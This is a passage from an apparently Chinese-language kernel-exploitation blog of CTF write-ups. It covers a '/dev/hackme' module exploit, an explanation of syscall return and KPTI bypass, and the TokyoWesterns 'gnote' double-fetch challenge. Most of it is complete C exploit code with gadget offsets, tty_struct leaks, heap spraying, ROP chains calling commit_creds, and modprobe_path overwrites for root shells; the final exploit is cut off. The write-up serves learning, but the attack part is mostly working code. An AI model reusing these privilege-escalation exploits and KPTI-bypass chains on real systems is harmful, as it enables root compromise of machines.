    memset(bufA, "\x00", 0x100);
    Add(5, ssize, bufA);
    Add(6, ssize, bufA);
    memset(buffer, "\x00", 0x1000);
    Output(6, 0x40, buffer, -0x40);
    size_t module_addr = *(size_t*)buffer - 0x2338;
    size_t pool_addr = module_addr + 0x2400;
    printf("module_addr: 0x%llx, pool: 0x%llx\n",module_addr, pool_addr);

    Delete(2);
    Delete(5);
    memset(bufA, "\x00", 0x100);
    *(size_t*)bufA = pool_addr+0xc0;
    Input(4, 0x100, bufA, -0x100);
    memset(bufA, "\x00", 0x100);

    Add(7, ssize, bufA);
    Add(8, ssize, bufA);    //pool
    memset(bufA, "\x00", 0x100);
    *(size_t*)bufA = kernel_addr+ 0x03f960;
    *(size_t*)(bufA+8) = 0x100;
    Input(8, 0x10, bufA, 0);

    // memset(buffer, "\x00", 0x1000);
    // *(size_t*)buffer = modprobe_path+vmlinux_addr;
    // Input(4, 400, buffer,-400);
    memset(bufA, "\x00", 0x100);
    char path[30] = "/home/pwn/getflag.sh\x00";
    strncpy(bufA, path, 30);
    Input(0xc, 30, bufA, 0);

    system("/home/pwn/ll");
    system("cat /home/pwn/flag");

    return 0;
}

覆写 tty_struct，能执行到 ROP，但是会报错，还没解决：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>

size_t prepare_kernel = 0x4d160;
size_t commit_creds = 0x4d220;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t swpgs_p_r12_r = 0xffffffff81200ed1-0xffffffff81000000;
size_t mv_cr4_rdx_p_r12_p_r15_r = 0xffffffff81033d77-0xffffffff81000000;
size_t p_rdx_r = 0xffffffff81030cd1-0xffffffff81000000;
size_t iretq_p_rbp_r = 0xffffffff81019356-0xffffffff81000000;
size_t p_rax_r = 0xffffffff8101b5a1 - 0xffffffff81000000;
size_t p_rbp_r = 0xffffffff8101b71c - 0xffffffff81000000;
size_t mv_rsp_rbp_p_rbp_r = 0xffffffff81033d4c - 0xffffffff81000000;
size_t mv_rsp_rax_r = 0xffffffff81200ef1 - 0xffffffff81000000;

size_t modprobe_path = 0x83f960;
int fd = 0;
typedef struct pool{
    size_t idx;
    char* buf;
    size_t size;
    size_t off;
}Kpool;

void err(char* buf){
    printf("%s Error\n", buf);
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        err("Not root");
    }
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(size_t idx, size_t sz, char* buf){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    if(-1 == ioctl(fd, 196608, &pl)){
        err("Add");
    }
}

void Delete(size_t idx){
    Kpool pl;
    pl.idx = idx;
    if(-1 == ioctl(fd, 196609, &pl)){
        err("Delete");
    }
}

void Input(size_t idx, size_t sz, char* buf, size_t off){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    pl.off = off;
    if(-1 == ioctl(fd, 196610, &pl)){
        err("Input");
    }
}

void Output(size_t idx, size_t sz, char* buf, size_t off){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    pl.off = off;
    if(-1 == ioctl(fd, 196611, &pl)){
        err("Output");
    }
}

int main(){
    savestatus();
    fd = open("/dev/hackme", 0);
    if(fd < 0){
        err("Open dev");
    }
    size_t ssize = 0x400;
    size_t size1 = 0x100;
    char bufA[0x400] = { 0 };
    char bufB[0x400] = { 0 };
    memset(bufA, 'A', 0x400);
    memset(bufB, 'B', 0x400);
    int chunkId = 0;
    puts("Add now");
    Add(chunkId++, ssize, bufB);
    Add(chunkId++, ssize, bufA);
    memset(bufA, 'B', 0x400);
    Add(chunkId++, ssize, bufA);
    memset(bufA, 'C', 0x400);
    Add(chunkId++, ssize, bufA);
    memset(bufA, 'D', 0x400);
    Add(chunkId++, ssize, bufA);  //4
    memset(bufA, '5', 0x400);
    Add(chunkId++, ssize, bufA);  //5

    puts("Leak addr:");
    char* buffer = malloc(0x1000);
    memset(buffer, "\x00", 0x1000);

    Output(0, 0x800+0x20, buffer, -0x800);
    size_t module_addr = 0x0;
    size_t vmlinux_addr = 0x0;
    module_addr = *(size_t*)(buffer+0x70)-0x1000;
    vmlinux_addr = *(size_t*)(buffer+0x40)-0x6de30;
    printf("module_addr: 0x%llx, vmlinux_addr: 0x%llx, mod:0x%llx\n", module_addr, vmlinux_addr,modprobe_path+vmlinux_addr);

    Delete(2);
    Delete(4);

    memset(buffer, "\x00", 0x1000);
    Output(5, 0x400, buffer, -0x400);
    size_t heap_addr = *(size_t*)buffer;
    printf("heap_addr: 0x%llx\n", heap_addr);

    int ptmx_fd = open("/dev/ptmx",0);
    if (ptmx_fd < 0){
        err("Not open ptmx");
    }
    printf("[+] ptmx fd : %d\n",ptmx_fd);

    memset(buffer, "\x00", 0x1000);
    Input(5, 0x400, buffer, -0x400);
    //print_hex(mem,0x400);
    if(*(size_t *)buffer != 0x0000000100005401){
        err("Not get ptmx");
    }

    prepare_kernel += vmlinux_addr;
    commit_creds += vmlinux_addr;

    char* tty_struct = malloc(0x400);
    size_t tty_opera[7] = { 0 };

    Output(5, 0x400+4*8, tty_struct, -0x400);
    int c = 0;
    size_t rop[0x200] = { 0 };
    rop[c++] = 0;
    rop[c++] = p_rdx_r+vmlinux_addr;
    rop[c++] = 0x6f0;
    rop[c++] = mv_cr4_rdx_p_r12_p_r15_r+vmlinux_addr;
    rop[c++] = 0;
    rop[c++] = 0;
    rop[c++] = (size_t)getroot;

    rop[c++] = swpgs_p_r12_r + vmlinux_addr;
    rop[c++] = 0;
    rop[c++] = iretq_p_rbp_r+vmlinux_addr;
    rop[c++] = 0;
    rop[c++] = (size_t)getshell;

    rop[c++] = user_cs;
    rop[c++] = user_rflags;
    rop[c++] = user_sp;
    rop[c++] = user_ss;

    tty_opera[0] = p_rbp_r + vmlinux_addr;
    tty_opera[1] = rop;
    tty_opera[2] = mv_rsp_rbp_p_rbp_r+vmlinux_addr;
    tty_opera[7] = mv_rsp_rax_r+vmlinux_addr;
    *(size_t*)(tty_struct+0x18) = tty_opera;

    Input(5, 0x400+4*8, tty_struct, -0x400);
    char bf[0x10] = { 0 };
    write(ptmx_fd, bf, 0x10);
    return 0;
}

Kernel Pwn状态切换原理及KPTI绕过

system call and return method

int 80

int 80是传统的系统调用，利用中断和异常使用，在执行 int指令时，发生 trap。硬件根据向量号 0x80找到在中断描述符表中的表项，在自动切换到内核栈(tss.ss0:tss.esp0)后根据中断描述符的 segment selector在 GDT/LDT中找到对应的段描述符，从段描述符拿到段的基址，加载到 cs，将 offset加载到 eip。最后硬件将用户态 ss/sp/eflags/cs/ip/error code依次压到内核栈。然后执行 eip的 entry函数，通常在保存一系列寄存器后会 SET_KERNEL_GS设置内核 GS。

返回时，最后会执行 SWAPGS交换内核和用户 GS寄存器，然后执行 iret指令将先前压栈的 ss/sp/eflags/cs/ip弹出，恢复用户态调用时的寄存器上下文。

总结：提权时，如要使用 64位的 iretq指令从内核态返回到用户态，首先要执行 SWAPGS切换 GS，然后执行 iretq指令时的栈布局应该如下：

1
2
3
4
5
rsp ---> rip
         cs
         rflags
         rsp
         ss

syscall

根据 Intel SDM，syscall指令执行时会将当前 rip(syscall的下一条指令地址)存到 rcx，将 rflags保存到 r11中。然后使用 MSR寄存器中的 IA32_FMASK屏蔽 rflags，将 IA32_LSTAR加载到 rip(entry_SYSCALL_6_4)，同时将 IA32_STAR[47:32]加载到 cs，IA32_STAR[47:32]+8加载到 ss(在 GDT中，ss就跟在 cs后面)。

在提权时，当使用 sysret指令从内核态中返回，需要先设置 rcx为用户态rip，设置 r11为用户态 rflags，设置 rsp为一个用户态堆栈，并执行 swapgs交换 GS寄存器。

KPTI

早期Linux内核，每当执行用户空间代码时，Linux会在其分页表中保留整个内核内存的映射(内核地址空间和用户地址空间共用一个页全局目录表PGD)，并保护其访问。其优点是当应用程序向内核发送系统调用或收到中断时，内核页表始终存在，可避免绝大多数上下文交换相关的开销(TLB刷新、页表交换等)。

KPTI

KPTI(Kernel PageTable Isolation)全称内核页表隔离，通过完全分离用户空间与内核空间页表来解决页表泄露。

KPTI中每个进程有两套页表——内核态页表和用户态页表(两个地址空间)。内核态页表只能在内核态下访问，可创建到内核和用户的映射（用户空间受SMAP和SMEP保护）。用户态页表只包含用户空间，由于涉及到上下文切换，所以在用户态页表中必须包含部分内核地址，用来建立中断入口和出口的映射。

当中断在用户态发生时，就i需要切换 CR3寄存器，从用户态地址空间切换到内核态的地址空间。中断上半部要求切换 CR3寄存器快，KPTI中将内核空间的 PGD和用户空间的PGD连续放置在一个8kb的内存空间中，内核态在低位，用户态在高位）。这段空间必须是 8k对齐，这样将 CR3的切换操作转换为将 CR3值得第13位(由低到高)的置位或清零操作，提高 CR3切换的速度。

img

所以开启 KPTI后，想提权就比较难，常用的如 ret2user就比较有局限性。

Bypass KPTI

在开启 KPTI内核，提权返回到用户态(iretq/sysret)之前如果不设置 CR3寄存器的值，就会导致进程找不到当前程序的正确页表，引发段错误，程序退出。

那么，就可以在 kernel提权返回用户态的时候绕过 kpti,可以利用内核映像中现有gadget：

1
2
3
mov     rdi, cr3
or      rdi, 1000h
mov     cr3, rdi

来设置 CR3寄存器，并按照 iretq/sysret的需求构造内容，再返回就行。

此外，可以利用 swapgs_restore_regs_and_return_to_us_ermode函数返回：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
swapgs_restore_regs_and_return_to_usermode
 
.text:FFFFFFFF81600A34 41 5F                          pop     r15
.text:FFFFFFFF81600A36 41 5E                          pop     r14
.text:FFFFFFFF81600A38 41 5D                          pop     r13
.text:FFFFFFFF81600A3A 41 5C                          pop     r12
.text:FFFFFFFF81600A3C 5D                             pop     rbp
.text:FFFFFFFF81600A3D 5B                             pop     rbx
.text:FFFFFFFF81600A3E 41 5B                          pop     r11
.text:FFFFFFFF81600A40 41 5A                          pop     r10
.text:FFFFFFFF81600A42 41 59                          pop     r9
.text:FFFFFFFF81600A44 41 58                          pop     r8
.text:FFFFFFFF81600A46 58                             pop     rax
.text:FFFFFFFF81600A47 59                             pop     rcx
.text:FFFFFFFF81600A48 5A                             pop     rdx
.text:FFFFFFFF81600A49 5E                             pop     rsi
.text:FFFFFFFF81600A4A 48 89 E7                       mov     rdi, rsp    <<<<<<<<<<<<<<<<<<
.text:FFFFFFFF81600A4D 65 48 8B 24 25+                mov     rsp, gs: 0x5004
.text:FFFFFFFF81600A56 FF 77 30                       push    qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28                       push    qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20                       push    qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18                       push    qword ptr [rdi+18h]
.text:FFFFFFFF81600A62 FF 77 10                       push    qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37                          push    qword ptr [rdi]
.text:FFFFFFFF81600A67 50                             push    rax
.text:FFFFFFFF81600A68 EB 43                          nop
.text:FFFFFFFF81600A6A 0F 20 DF                       mov     rdi, cr3
.text:FFFFFFFF81600A6D EB 34                          jmp     0xFFFFFFFF81600AA3
 
.text:FFFFFFFF81600AA3 48 81 CF 00 10+                or      rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF                       mov     cr3, rdi
.text:FFFFFFFF81600AAD 58                             pop     rax
.text:FFFFFFFF81600AAE 5F                             pop     rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+                call    cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+                jmp     cs: INTERRUPT_RETURN
 
_SWAPGS
.text:FFFFFFFF8103EFC0 55                             push    rbp
.text:FFFFFFFF8103EFC1 48 89 E5                       mov     rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8                       swapgs
.text:FFFFFFFF8103EFC7 5D                             pop     rbp
.text:FFFFFFFF8103EFC8 C3                             retn
 
 
_INTERRUPT_RETURN
.text:FFFFFFFF81600AE0 F6 44 24 20 04                 test    byte ptr [rsp+0x20], 4
.text:FFFFFFFF81600AE5 75 02                          jnz     native_irq_return_ldt
.text:FFFFFFFF81600AE7 48 CF                          iretq

ROP时，将程序流程控制到 mov rdi, rsp指令，栈布局如下：

1
2
3
4
5
6
7
8
rsp  ---->  mov_rdi_rsp
            0
            0
            rip
            cs
            rflags
            rsp
            ss

此外，推荐使用修改 modprobe_path提权，无干扰。

TokyoWesterns-gnote

这道题又让我学习到了很多新知识点

程序分析

题目首先就给了源码，从源码中可以直接看出来就两个功能，一个是 write，使用了一个 siwtch case结构，实现了两个功能，一是kmalloc申请堆块，一个是 case 5选择堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

还有一个功能就是 read，读取堆块中的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

然后，虽然给了源码和汇编，看到最后也没发现有什么问题。猜测可能是条件竞争，但是常规的堆块也没有竞争的可能性。TokeyWesterns这题的漏洞出的太隐蔽了，write功能中是通过 switch case实现跳转，在汇编中 switch case是通过 swicth table跳转表实现的，即看如下汇编：

1
2
3
4
5
.text:0000000000000019                 cmp     dword ptr [rbx], 5 ; switch 6 cases
.text:000000000000001C                 ja      short def_20    ; jumptable 0000000000000020 default case
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:jpt_20[rax*8] ; switch jump
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

会先判断 跳转id是否大于最大的跳转 路径 5，如果不大于再使用 ds:jpt_20这个跳转表来获得跳转的地址。这里可以看到这个 id，首先是从 rbx所在地址中的值与5比较，然后将 rbx中的值复制给 eax，通过 eax来跳转。那么存在一种情况，当 [rbx]与 5比较通过后，有另一个进程修改了 rbx的值 将其改位了 一个大于跳转表的值，这里由于 rbx的值是用户态传入的参数，所以是能够被用户态所修改的。随后系统将 rbx的值传给 eax，此时 eax大于 5，即可实现 劫持控制流到一个 较大的地址。

也即，这里存在一个 double fetch洞。

利用分析

  1. 泄露地址

这里泄露地址的方法，感觉在真实漏洞中会用到，即利用 tty_struct中的指针来泄露地址。

可以先打开一个 ptmx，然后 close掉。随后使用 kmalloc申请与 tty_struct大小相同的 slub，这样就能将 tty_struct结构体申请出来。然后利用 read函数读取其中的指针，来泄露地址。

  1. double-fetch堆喷

上面已经分析了可以利用 double-fetch来实现任意地址跳转。那么这里我们跳转到哪个地址呢，跳转后又该怎么执行呢？

这里我们首先选择的是用户态空间，因为这里只有用户态空间的内容是我们可控的，且未开启 smap内核可以访问用户态数据。我们可以考虑在用户态通过堆喷布置大量的 gadget，使得内核态跳转时一定能落到 gadget中。那么这里用户态空间选择什么地址呢？

这里首先分析 上面 swicth_table是怎么跳的，这里 jmp_table+(rax*8)，当我们的 rax输入为 0x8000200，假设内核基址为 0xffffffffc0000000，则最终访问的地址将会溢出 (0xffffffffc0000000+0x8000200*8 == 0x1000)，那么最终内核最终将能够访问到 0x1000。

由于内核模块加载的最低地址是 0xffffffffc0000000，通常是基于这个地址有最多 0x1000000大小的浮动，所以这里我们的堆喷页面大小 肯定要大于 0x1000000，才能保证内核跳转一定能跳到 gadget 。而一般未开启 pie的用户态程序地址空间为 0x400000，如果我们选择低于 0x400000的地址开始堆喷，那么最终肯定会对 用户态程序，动态库等造成覆盖。 所以这里我们最佳的地址是 0x8000000，我们的输入为：

(0xffffffffc0000000+0x9000000*8 == 0x8000000)

那么我们选择 0x8000000地址，并堆喷 0x1000000大小的 gadget。那么这里应该选择何种 gadget呢？

这里的思路是最好确保内核态执行执行了 gadget后，能被我们劫持到位于用户态空间的的 ROP上。这里选用的 gadget是 P4nda学长也曾经提到的 xchg eax, esp，会将 RAX寄存器的 低 4byte切换进 esp寄存器，同时 rsp拓展位的高32位清0，这样就切换到用户态的栈了。

然后我们的 ROP部署在哪个地址呢？这里需要根据 xchg eax, esp这个gadget的地址来计算，通过在 xchg_eax_rsp_r_addr & 0xfffff000处开始分配空间，在 xchg_eax_rsp_r_addr & 0xffffffff处存放内核 ROP链，就可以通过 ROP提权。

然后这里 提权，需要注意上文提到的 KPTI保护，可以利用 modprobe_path来绕过。

EXP

踩着 bsauce大佬的轮子写了一个，但是现在能进入 shell，但是我还是不能提权成功。感觉是执行成功之后并不能执行 system函数，导致虽然用户进程虽然提权成功，但是没有sh。我换成了 execve后，就没问题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel =  0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t iretq = 0x0;
size_t modprobe_path = 0x0;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
int fd;
int istriggered = 0;
typedef struct Knote{
    unsigned int ch;
    unsigned int size;
}gnote;

void Err(char* buf){
    printf("%s Error\n");
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        err("Not root");
    }
}

void shell()
{
    istriggered =1;
    puts("Get root");
    execve("/bin/sh");
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(unsigned int sz){
    gnote gn;
    gn.ch = 1;
    gn.size = sz;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Add");
    }
}

void Select(unsigned int idx){
    gnote gn;
    gn.ch = 5;
    gn.size = idx;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Select");
    }
}

void Output(char* buf, size_t size){
    if(-1 == read(fd, buf, size)){
        Err("Read");
    }
}

void LeakAddr(){
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    Add(0x2e0);
    Select(0);
    char buffer[0x500] = { 0 };
    Output(buffer, 0x2e0);

    size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
    printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

    prepare_kernel += vmlinux_addr;
    commit_creds += vmlinux_addr;
    p_rdi_r += vmlinux_addr;
    xchg_eax_rsp_r += vmlinux_addr;
    xchg_cr3_sysret += vmlinux_addr;
    mv_rdi_rax_p_r += vmlinux_addr;
    p_rcx_r += vmlinux_addr;
    p_r11_p_rbp_r += vmlinux_addr;
    kpti_ret += vmlinux_addr;

    printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);
getchar();
    puts("Leak addr OK");
}

void HeapSpry(){
    char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long* gadget_addr = (unsigned long*)gadget_mem;

    for(int i=0; i < (0x1000000/8); i++){
        gadget_addr[i] = xchg_eax_rsp_r;
    } 

}

void Prepare_ROP(){
    char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
    int i = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = prepare_kernel;
    rop_addr[i++] = mv_rdi_rax_p_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = commit_creds;

    // xchg_CR3_sysret
    rop_addr[i++] = kpti_ret;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = &shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = user_sp;
    rop_addr[i++] = user_ss;
}

void race(void *s){
    gnote *d=s;
    while(!istriggered){
        d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}


void Double_Fetch(){
    gnote gn;
    pthread_t pthread;
    gn.size = 0x10001;
    pthread_create(&pthread,NULL, race, &gn);
    for (int j=0; j< 0x10000000000; j++)
    {
        gn.ch = 1;
        write(fd, (void*)&gn, sizeof(gnote));
    }
    pthread_join(pthread, NULL);
}

int main(){
    savestatus();

    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }

    LeakAddr();

    HeapSpry();

    Prepare_ROP();

    Double_Fetch();

    return 0;
}

最终还是得依靠万能的 modprobe_path：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel =  0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t memcpy_addr = 0x58a100;
size_t modprobe_path = 0xC2C540;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
size_t p_rsi_r = 0x37799;
size_t p_rdx_r = 0xdd812;
int fd;
int istriggered = 0;
typedef struct Knote{
    unsigned int ch;
    unsigned int size;
}gnote;

void Err(char* buf){
    printf("%s Error\n");
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        err("Not root");
    }
}

void shell()
{
    istriggered =1;
    puts("Get root");
    system("/tmp/ll");
    system("cat /flag");
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(unsigned int sz){
    gnote gn;
    gn.ch = 1;
    gn.size = sz;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Add");
    }
}

void Select(unsigned int idx){
    gnote gn;
    gn.ch = 5;
    gn.size = idx;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Select");
    }
}

void Output(char* buf, size_t size){
    if(-1 == read(fd, buf, size)){
        Err("Read");
    }
}

void LeakAddr(){
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    Add(0x2e0);
    Select(0);
    char buffer[0x500] = { 0 };
    Output(buffer, 0x2e0);

    size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
    printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

    prepare_kernel += vmlinux_addr;
    commit_creds += vmlinux_addr;
    p_rdi_r += vmlinux_addr;
    xchg_eax_rsp_r += vmlinux_addr;
    xchg_cr3_sysret += vmlinux_addr;
    mv_rdi_rax_p_r += vmlinux_addr;
    p_rcx_r += vmlinux_addr;
    p_r11_p_rbp_r += vmlinux_addr;
    kpti_ret += vmlinux_addr;
    memcpy_addr += vmlinux_addr;
    modprobe_path += vmlinux_addr;
    p_rsi_r += vmlinux_addr;
    p_rdx_r += vmlinux_addr;

    printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);

    puts("Leak addr OK");
}

void HeapSpry(){
    char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long* gadget_addr = (unsigned long*)gadget_mem;

    for(int i=0; i < (0x1000000/8); i++){
        gadget_addr[i] = xchg_eax_rsp_r;
    }
}

void Prepare_ROP(){
    char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
    unsigned long sh_addr = (xchg_eax_rsp_r&0xfffff000)+0x1000;
    memcpy(sh_addr, "/tmp/chmod.sh\0\n", 20);
    int i = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = modprobe_path;
    rop_addr[i++] = p_rsi_r;
